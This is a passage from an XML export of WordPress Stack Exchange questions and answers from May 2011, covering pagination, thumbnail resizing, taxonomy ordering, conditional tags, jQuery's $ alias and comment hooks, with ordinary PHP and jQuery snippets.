remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I remove &quot;/page/x/&quot; from the URL ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : Here's the code for the form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&quot; method=&quot;post&quot; id=&quot;filter&quot;&amp;gt;&#xA;&amp;lt;ol&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;?php include(TEMPLATEPATH . '/includes/forms/filter_editors.php'); ?&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;reset_pagination&quot; value=&quot;1&quot;/&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; class=&quot;submit&quot; value=&quot;&amp;lt;?php _e('Ok'); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ol&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-05-06T09:50:43.293" LastActivityDate="2011-05-06T10:10:34.240" Title="Pagination : How to remove /page/x/ after a 'POST' action on a form returning to page 1" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;wp-query&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="16517" PostTypeId="1" CreationDate="2011-05-06T08:06:52.040" Score="0" ViewCount="40" Body="&lt;p&gt;i know there is an old plugin (TagThis) to do that, i've already installed it to my Wordpress 3.1.2 but whenever try to enter the plugin options section (/wp-admin/tagthis/options_frontend.php) i'm getting &quot;Nothing found for Wp-admin Tagthis Options_frontend Php&quot; error. I've checked plugin files, they are on ftp. Actually what i need is a small tagging form, i wanna place it under single post page to allow the visitors to tag posts. Any has a code for that? Thank you...&lt;/p&gt;&#xA;" OwnerUserId="5159" LastActivityDate="2011-05-06T08:06:52.040" Title="how to allow visitors to tag posts?" Tags="&lt;tags&gt;" CommentCount="1" />
  <row Id="16518" PostTypeId="1" CreationDate="2011-05-06T08:07:10.473" Score="1" ViewCount="84" Body="&lt;p&gt;I have recently added theme support for post_thumbnails with three new sizes, I wanted to resize all the old images uploaded previously. I have written my own script as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function resizeImages()&#xA;{&#xA;&#xA;    require ( ABSPATH . 'wp-admin/includes/image.php' );&#xA;&#xA;    global $wpdb;&#xA;    $images = $wpdb-&amp;gt;get_results( &quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_type = 'attachment' AND post_mime_type LIKE 'image/%' ORDER BY ID DESC&quot;);&#xA;&#xA;    foreach ($images as $image)&#xA;    {&#xA;        $fullsizepath = get_attached_file( $image-&amp;gt;ID );&#xA;&#xA;        $metadata = wp_generate_attachment_metadata( $image-&amp;gt;ID, $fullsizepath );&#xA;        // If this fails, then it just means that nothing was changed (old value == new value)&#xA;        if (wp_update_attachment_metadata( $image-&amp;gt;ID, $metadata ))&#xA;                {&#xA;                    echo $fullsizepath . &quot; resized&quot; . &quot;&amp;lt;br/&amp;gt;&quot;;&#xA;                }&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The images that have been uploaded through wordpress work fine, but I have added some of my images by php. The images in question were picked up from our old site with a crawler and added to the database as children of the correct ID. I can retrieve all the images using get_children on the index.php page and on single.php, but for some reason they are not being resized. Can anyone help here?&lt;/p&gt;&#xA;" OwnerUserId="2911" LastActivityDate="2011-09-04T04:41:51.127" Title="Resizing images failing" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="16519" PostTypeId="1" AcceptedAnswerId="16520" CreationDate="2011-05-06T08:21:30.507" Score="-1" ViewCount="33" Body="&lt;p&gt;How to install WP-cumulus add-on into WordPress ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="5160" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T23:05:44.967" LastActivityDate="2011-05-07T23:05:44.967" Title="WordPress Cumulus" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="16520" PostTypeId="2" ParentId="16519" CreationDate="2011-05-06T08:34:37.613" Score="0" ViewCount="" Body="&lt;p&gt;there you go: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-cumulus/installation/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Installing wp-cumulus&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-06T08:34:37.613" />
  <row Id="16521" PostTypeId="2" ParentId="15993" CreationDate="2011-05-06T08:34:54.417" Score="0" ViewCount="" Body="&lt;p&gt;Here is my take on an using one of the wordpress image filters, I tried using the one suggested by Chip Bennett but didn't have any success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done is create a custom size and then check each image as it's created if it's that specific size and if it is then apply phpthumb filters.   Ideally I would like to be able to just check for the name of the custom image size but I haven't figured out how to do that yet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails' );&#xA;add_image_size( 'rounded-saturated', 250, 100, true ); &#xA;require_once('path_to\phpthumb.class.php');&#xA;add_filter('image_make_intermediate_size', 'paul_rounded_filter');&#xA;&#xA;function paul_rounded_filter($file) {&#xA;    $info = getimagesize($file);&#xA;&#xA;    // check for our image size and do stuff&#xA;    if($info[0] == 250 &amp;amp;&amp;amp; $info[1] == 100)&#xA;    {&#xA;        // create phpThumb object&#xA;        $phpThumb = new phpThumb();&#xA;        $phpThumb-&amp;gt;resetObject();&#xA;&#xA;        // set data source -- do this first, any settings must be made AFTER this call      &#xA;        $phpThumb-&amp;gt;setSourceData(file_get_contents($file));&#xA;        $output_filename = $file;&#xA;&#xA;&#xA;        // PLEASE NOTE:&#xA;        // You must set any relevant config settings here. The phpThumb&#xA;        // object mode does NOT pull any settings from phpThumb.config.php&#xA;        //$phpThumb-&amp;gt;setParameter('config_document_root', '/home/groups/p/ph/phpthumb/htdocs/');&#xA;        //$phpThumb-&amp;gt;setParameter('config_cache_directory', '/tmp/persistent/phpthumb/cache/');&#xA;&#xA;        // set parameters (see &quot;URL Parameters&quot; in phpthumb.readme.txt)&#xA;        $phpThumb-&amp;gt;setParameter('fltr', 'ric|30|30');&#xA;        $phpThumb-&amp;gt;setParameter('fltr', 'sat|-100');&#xA;&#xA;        // generate &amp;amp; output thumbnail&#xA;        if ($phpThumb-&amp;gt;GenerateThumbnail()) { // this line is VERY important, do not remove it!&#xA;            if ($phpThumb-&amp;gt;RenderToFile($output_filename)) {&#xA;                // do something on success&#xA;                echo 'Successfully rendered to &quot;'.$output_filename.'&quot;';&#xA;                //die;&#xA;            } else {&#xA;                // do something with debug/error messages&#xA;                echo 'Failed:&amp;lt;pre&amp;gt;'.implode(&quot;\n\n&quot;, $phpThumb-&amp;gt;debugmessages).'&amp;lt;/pre&amp;gt;';&#xA;                die;&#xA;            }&#xA;        } else {&#xA;            // do something with debug/error messages&#xA;            echo 'Failed:&amp;lt;pre&amp;gt;'.$phpThumb-&amp;gt;fatalerror.&quot;\n\n&quot;.implode(&quot;\n\n&quot;, $phpThumb-&amp;gt;debugmessages).'&amp;lt;/pre&amp;gt;';&#xA;            die;&#xA;        }&#xA;    }&#xA;&#xA;    if ( $width || $height ) {&#xA;        if ( !is_wp_error($resized_file) &amp;amp;&amp;amp; $resized_file &amp;amp;&amp;amp; $info = getimagesize($resized_file) ) {&#xA;            $resized_file = apply_filters('image_make_intermediate_size', $resized_file);&#xA;            return array(&#xA;                'file' =&amp;gt; wp_basename( $resized_file ),&#xA;                'width' =&amp;gt; $info[0],&#xA;                'height' =&amp;gt; $info[1],&#xA;            );&#xA;        }&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you add that code to your theme's functions.php file, download phpthumb and set the path you should be good to go.  I've got it working on my local install of xampp so hopefully it should work for other people too.  The phpThumb comments are from the simple demo example.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditorDisplayName="" LastEditDate="2011-05-17T20:29:38.067" LastActivityDate="2011-05-17T20:29:38.067" CommentCount="3" />
  <row Id="16522" PostTypeId="2" ParentId="16452" CreationDate="2011-05-06T08:58:05.667" Score="0" ViewCount="" Body="&lt;p&gt;ended up with;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class=&quot;&amp;lt;?=( strpos(  $oby ,'date' ) ? 'active' : null )?&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;though can imagine i'll need to get this working on one job or the other...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks all!&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-05-06T08:58:05.667" />
  <row Id="16523" PostTypeId="2" ParentId="16518" CreationDate="2011-05-06T09:11:04.483" Score="0" ViewCount="" Body="&lt;p&gt;use this plugin instead. Always work for me :) &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/regenerate-thumbnails&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-05-06T09:11:04.483" CommentCount="1" />
  <row Id="16524" PostTypeId="1" CreationDate="2011-05-06T09:22:30.803" Score="1" ViewCount="370" Body="&lt;p&gt;I have a custom taxonomy registered for my custom post type. I need to make it possible for a user to specify the order in which the taxonomy terms should appear (something like menu order for pages). Then when displaying the taxonomy terms on the site I will use the specified custom order to order them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to do it? Is there any plugin for it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-08-11T16:16:08.343" Title="Custom order of terms for custom taxonomy in admin and website" Tags="&lt;custom-taxonomy&gt;&lt;admin&gt;&lt;customization&gt;&lt;sort&gt;&lt;terms&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="1" />
  <row Id="16526" PostTypeId="1" AcceptedAnswerId="16528" CreationDate="2011-05-06T09:50:25.940" Score="1" ViewCount="54" Body="&lt;p&gt;A custom background plugin has started to cause certain browsers (FF, IE8,9, Safari) to reveal an appended url string when viewing the index page: &lt;a href=&quot;http://dearearth.net&quot; rel=&quot;nofollow&quot;&gt;http://dearearth.net&lt;/a&gt; - this mostly shows when not visiting the site directly, but rather when going through, for example, google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This persists in IE 9 even after refresh or page reload, but does not on the other browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot: &lt;a href=&quot;http://i55.tinypic.com/2nv9fh3.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i55.tinypic.com/2nv9fh3.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following custom permalink structure enabled:&lt;code&gt;/%category%/%postname%/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any input!&lt;/p&gt;&#xA;" OwnerUserId="4822" LastActivityDate="2011-05-06T10:08:31.593" Title="Plugin Appends ugly url string to index" Tags="&lt;plugins&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="1" />
  <row Id="16527" PostTypeId="1" CreationDate="2011-05-06T09:58:10.773" Score="1" ViewCount="121" Body="&lt;p&gt;I'm developing a theme for a client, and I want to allow her to change the site title, description, and her password as needed. However, I don't want to give access to all of the other options (e.g. the site URL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some experience creating a theme options panel (via &lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/how-to-create-a-better-wordpress-options-panel/&quot; rel=&quot;nofollow&quot;&gt;this article on nettuts+&lt;/a&gt;), and was thinking it would be great if I could put those options into the panel as well. Would be great to get some direction!&lt;/p&gt;&#xA;" OwnerUserId="4285" LastActivityDate="2011-05-07T19:30:25.607" Title="Put standard wordpress options into a theme options panel?" Tags="&lt;theme-options&gt;" AnswerCount="2" />
  <row Id="16528" PostTypeId="2" ParentId="16526" CreationDate="2011-05-06T10:08:31.593" Score="1" ViewCount="" Body="&lt;p&gt;This doesn't have to be a plugin issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone puts a link on their website to your blog say for example: www.example.com but not only that they place some random string: www.example.com/?foo=bar in that link to your site then when search engines crawl this page with the link to your site on google or any other search engine will see it and try to follow the link to your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As is the URL is technically valid the search engine will cache it and serve this new URL to its users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a read over this post at Perishable Press that talks about it in detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://perishablepress.com/clean-up-links-htaccess/&quot; rel=&quot;nofollow&quot;&gt;http://perishablepress.com/clean-up-links-htaccess/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-06T10:08:31.593" CommentCount="9" />
  <row Id="16529" PostTypeId="2" ParentId="16516" CreationDate="2011-05-06T10:10:34.240" Score="1" ViewCount="" Body="&lt;p&gt;Your form will post back to the URL specified in the &lt;code&gt;action&lt;/code&gt; parameter, or to the same URL if you don't specify it. You start at &lt;code&gt;/books/page/8/&lt;/code&gt;, so if your &lt;code&gt;action&lt;/code&gt; parameter is empty, the resulting URL will also be &lt;code&gt;/books/page/8/&lt;/code&gt;. Just fill in the &lt;code&gt;action&lt;/code&gt; parameter with &lt;code&gt;/books/&lt;/code&gt;, and it should work.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-06T10:10:34.240" CommentCount="1" />
  <row Id="16530" PostTypeId="1" CreationDate="2011-05-06T10:43:40.453" Score="0" ViewCount="37" Body="&lt;p&gt;I know it is possible to change the &quot;Enter Title Here&quot;. But is there’s a function to add text (“how to...”, “simple rules to post...”) inside the post text/input area! Any help?&lt;/p&gt;&#xA;" OwnerUserId="4612" LastActivityDate="2011-09-03T22:41:01.973" Title="Instructions/Rules Inside Text Area" Tags="&lt;text&gt;&lt;contextual-help&gt;" AnswerCount="2" />
  <row Id="16531" PostTypeId="2" ParentId="12201" CreationDate="2011-05-06T10:44:19.173" Score="1" ViewCount="" Body="&lt;p&gt;TheDeadMedic's answer looks good, but I ended up taking a different approach to the problem. Instead of duplicating the same terms across the many sites, I instead made the other sites use the home site's tables for terms.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'central_taxonomies');&#xA;&#xA;function central_taxonomies () {&#xA;  global $wpdb;&#xA;&#xA;  $wpdb-&amp;gt;terms = &quot;wp_terms&quot;;&#xA;  $wpdb-&amp;gt;term_taxonomy = &quot;wp_term_taxonomy&quot;;&#xA;  $wpdb-&amp;gt;term_relationships = &quot;wp_term_relationships&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This replaces the table name &lt;code&gt;wp_2_terms&lt;/code&gt; with &lt;code&gt;wp_terms&lt;/code&gt;, etc. You should of course check in your database to make sure of the exact name of the tables, which might be different if you change your prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can run this from either a plugin or a theme (though I recommend a plugin). I may get round to publishing a plugin to do this at some point. There are two downsides to this approach:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's only active on child sites that have the plugin activated. There's no way to enforce this from the parent site.&lt;/li&gt;&#xA;&lt;li&gt;It applies to &lt;strong&gt;all&lt;/strong&gt; the taxonomies, not just selected ones.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This approach is flexible - it can be adapted to pull categories from any blog, not just the central one.&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2011-05-06T10:44:19.173" />
  <row Id="16532" PostTypeId="1" AcceptedAnswerId="16534" CreationDate="2011-05-06T11:05:59.230" Score="0" ViewCount="65" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; if ((is_home()) OR (!is_single()) OR (!is_page('171'))) : ?&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;    &amp;lt;body class=&quot;last-page&quot;&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it doesn't seem to work as expected. I want the class &quot;last-page&quot; to be applied to the body of the page with the id of 171 and pages that display single posts. If I take the third condition out, the &quot;last-page&quot; class is applied correctly to single post pages but with the third condition there it doesn't get applied to any of the two. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the &quot;last-page&quot; class to be applied to both single post pages and page 171.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate the help.&lt;/p&gt;&#xA;" OwnerUserId="5162" LastActivityDate="2011-05-06T11:14:59.617" Title="How to apply style to the body tag of a particular page?" Tags="&lt;conditional-tags&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16533" PostTypeId="2" ParentId="16527" CreationDate="2011-05-06T11:10:41.773" Score="1" ViewCount="" Body="&lt;p&gt;Just create input fields on your options page and on postback do a&quot;&#xA;update_option('blogname') or update_option('blogdescription') with the contents of your custom fields. &lt;/p&gt;&#xA;" OwnerUserId="2434" LastActivityDate="2011-05-06T11:10:41.773" />
  <row Id="16534" PostTypeId="2" ParentId="16532" CreationDate="2011-05-06T11:14:59.617" Score="0" ViewCount="" Body="&lt;p&gt;from your verbal desription, i would think this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( is_single() OR is_page('171') ) : ?&amp;gt;&#xA;&amp;lt;body class=&quot;last-page&quot;&amp;gt; &#xA;&amp;lt;?php else: ?&amp;gt;     &#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-06T11:14:59.617" CommentCount="1" />
  <row Id="16535" PostTypeId="1" CreationDate="2011-05-06T10:38:40.987" Score="0" ViewCount="71" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/20923/how-can-i-make-add-image-size-crop-from-the-top&quot;&gt;How can I make add_image_size() crop from the top?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;When generating a thumbnail or featured image the wordpress resize the smallest side and then crop the largest side.  I need to make it crop both sides on &lt;strong&gt;post thumbnail&lt;/strong&gt; or on &lt;strong&gt;featured image&lt;/strong&gt; in functions (&lt;strong&gt;preferable&lt;/strong&gt;). Any way to reach this using an wordpress &lt;strong&gt;plugin&lt;/strong&gt; or &lt;strong&gt;hack&lt;/strong&gt;?&lt;/p&gt;&#xA;" LastActivityDate="2011-07-05T12:22:15.207" ClosedDate="2011-07-05T12:27:40.393" Title="Crop images in both sides on wordpress" Tags="&lt;php&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="16536" PostTypeId="2" ParentId="16535" CreationDate="2011-05-06T11:15:17.967" Score="0" ViewCount="" Body="&lt;p&gt;HELLO,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use below functions for &lt;code&gt;cropping&lt;/code&gt;  Or &lt;code&gt;resizing&lt;/code&gt; your images.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;add_image_size('news-thumbnail', 500,&#xA;  200, true);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;AND&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the_post_thumbnail('news-thumbnail');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;you can also refer this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8928/a-way-to-get-featuread-image-or-first-image-and-crop-on-the-fly-before-display&quot;&gt;Link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4959" LastActivityDate="2011-05-06T11:15:17.967" />
  <row Id="16537" PostTypeId="1" CreationDate="2011-05-06T09:21:33.050" Score="0" ViewCount="78" Body="&lt;p&gt;Our custom requires us to build a Product Trading Platform and in this platform registered users can buy, sell and request stock of products. The owner of Product Trading Platform  will first public price of the stock and trader (buyer, seller who is registered user) can buy these stocks and resell it to others. So on my system will have two level of buying, the first level is from the registered users to the owner of system, and the second is for each registered users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked out the WordPress plugins like E-commerce, Shop or eShop and its work well with the first level buying (it's more suitable with shopping style website) but for the second level I still do not know the way to make registered used can public his stock and other registered user can buy it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please advice me the way to do it in WordPress?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T08:19:16.550" LastActivityDate="2011-05-10T08:19:16.550" Title="How to add trading platform features to Wordpress site?" Tags="&lt;plugin-recommendation&gt;&lt;e-commerce&gt;&lt;development-strategy&gt;" CommentCount="1" />
  <row Id="16538" PostTypeId="1" AcceptedAnswerId="16539" CreationDate="2011-05-06T11:42:54.170" Score="1" ViewCount="96" Body="&lt;p&gt;I have a plugin I want to use, but it depends on the $ identifier, as apposed to using jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to enable the $, to save me recoding the plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin automatically adds the javascript, therefore I can't wrap it.&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2011-05-06T12:05:36.733" LastActivityDate="2011-05-06T14:55:18.860" Title="how can I make $ work in wordpress for jQuery?" Tags="&lt;jquery&gt;" AnswerCount="3" CommentCount="6" />
  <row Id="16539" PostTypeId="2" ParentId="16538" CreationDate="2011-05-06T12:02:30.493" Score="3" ViewCount="" Body="&lt;p&gt;Try this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function ($) {&#xA;    /* You can safely use $ in this code block to reference jQuery &#xA;           Call your plugin here&#xA;       */&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think you already know this. But still for reference &lt;a href=&quot;http://api.jquery.com/jQuery.noConflict/&quot; rel=&quot;nofollow&quot;&gt;http://api.jquery.com/jQuery.noConflict/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-05-06T12:02:30.493" CommentCount="1" />
  <row Id="16540" PostTypeId="1" AcceptedAnswerId="16550" CreationDate="2011-05-06T12:07:03.030" Score="0" ViewCount="224" Body="&lt;p&gt;I am writing a media plugin that uses custom tables to store its contents. (eg not the post tables where wordpress stores it attachment data). Now i'm looking for a way to use the default wordpress comment system to add comments to it. (These comments will not be in the regular comment table but also a custom table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A hook that allows me to intercept&#xA;the comment submit and process it&#xA;with my own code if criteria are&#xA;met. The criteria itself is&#xA;arbitrary and not important, just&#xA;need a way to get to the post data&#xA;before Wordpress processes it.&lt;/li&gt;&#xA;&lt;li&gt;A filter that allows me to replace the wp_list_comments() data with my own tabledata.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's a hacky idea, I know, but the post/attachment table is too limiting for what I need. &#xA;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-06T13:23:09.863" LastActivityDate="2011-05-06T13:50:59.703" Title="Intercept comment form submit/list by hook/filter" Tags="&lt;plugins&gt;&lt;comments&gt;&lt;hacks&gt;" AnswerCount="2" />
  <row Id="16541" PostTypeId="2" ParentId="16540" CreationDate="2011-05-06T12:12:38.373" Score="2" ViewCount="" Body="&lt;p&gt;Try using the &lt;code&gt;preprocess_comment&lt;/code&gt; filter hook, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_handling_function( $comment_data ) {&#xA;     // Here, do whatever you need to do with the comment&#xA;     // modify it, pull data out of it to save somewhere&#xA;     // or whatever you need to do&#xA;     // just be sure to return $comment_data when you're done!&#xA;     return $comment_data;&#xA;}&#xA;add_filter( 'preprocess_comment', 'my_handling_function' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-06T12:12:38.373" CommentCount="1" />
  <row Id="16542" PostTypeId="2" ParentId="16503" CreationDate="2011-05-06T12:13:02.617" Score="0" ViewCount="" Body="&lt;p&gt;I'm pretty sure that this can't be done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think WP multisite can only control blogs that are underneath it - which is why you'd have to install WP at the root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was once looking to do the same thing, and unfortunately all my research pointed to &quot;no&quot; being the answer.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2011-05-06T12:13:02.617" CommentCount="2" />
  <row Id="16543" PostTypeId="2" ParentId="16530" CreationDate="2011-05-06T13:11:37.980" Score="0" ViewCount="" Body="&lt;p&gt;Add some custom javascript to the admin area, using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    $('#input-id').attr('placeholder', 'Did you try Google first?');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://diveintohtml5.org/forms.html#placeholder&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;placeholder&lt;/code&gt; attribute&lt;/a&gt; does not work in Internet Explorer yet. You could &lt;a href=&quot;http://www.modernizr.com/docs/#input&quot; rel=&quot;nofollow&quot;&gt;fall back&lt;/a&gt; on a &lt;a href=&quot;http://plugins.jquery.com/plugin-tags/placeholder&quot; rel=&quot;nofollow&quot;&gt;jQuery placeholder plugin&lt;/a&gt; if needed.&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-06T13:11:37.980" CommentCount="1" />
  <row Id="16544" PostTypeId="2" ParentId="16530" CreationDate="2011-05-06T13:18:39.617" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://craigsworks.com/projects/qtip&quot; rel=&quot;nofollow&quot;&gt;Qtip&lt;/a&gt; to write your how to...”, simple rules to post...&quot;&#xA;and it will show on hover for each element&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;jqueryselector&quot;).qtip({&#xA;   content: 'I\'m at the top right of my target',&#xA;   position: {&#xA;      corner: {&#xA;         target: 'topRight',&#xA;         tooltip: 'bottomLeft'&#xA;      }&#xA;   }&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;even simpler you can use &quot;&lt;a href=&quot;http://www.jason-palmer.com/2008/08/jquery-plugin-form-field-default-value/&quot; rel=&quot;nofollow&quot;&gt;Jquery Form Field Default Value plugin&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jason-palmer.com/demo/jquery-form-defaults/&quot; rel=&quot;nofollow&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#myfield&quot;).DefaultValue(&quot;My Default Value..&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-06T14:49:45.913" LastActivityDate="2011-05-06T14:49:45.913" CommentCount="2" />
  <row Id="16545" PostTypeId="2" ParentId="16538" CreationDate="2011-05-06T13:18:57.070" Score="2" ViewCount="" Body="&lt;p&gt;This should work, I believe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $ = jQuery.noConflict();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-05-06T13:18:57.070" CommentCount="2" />
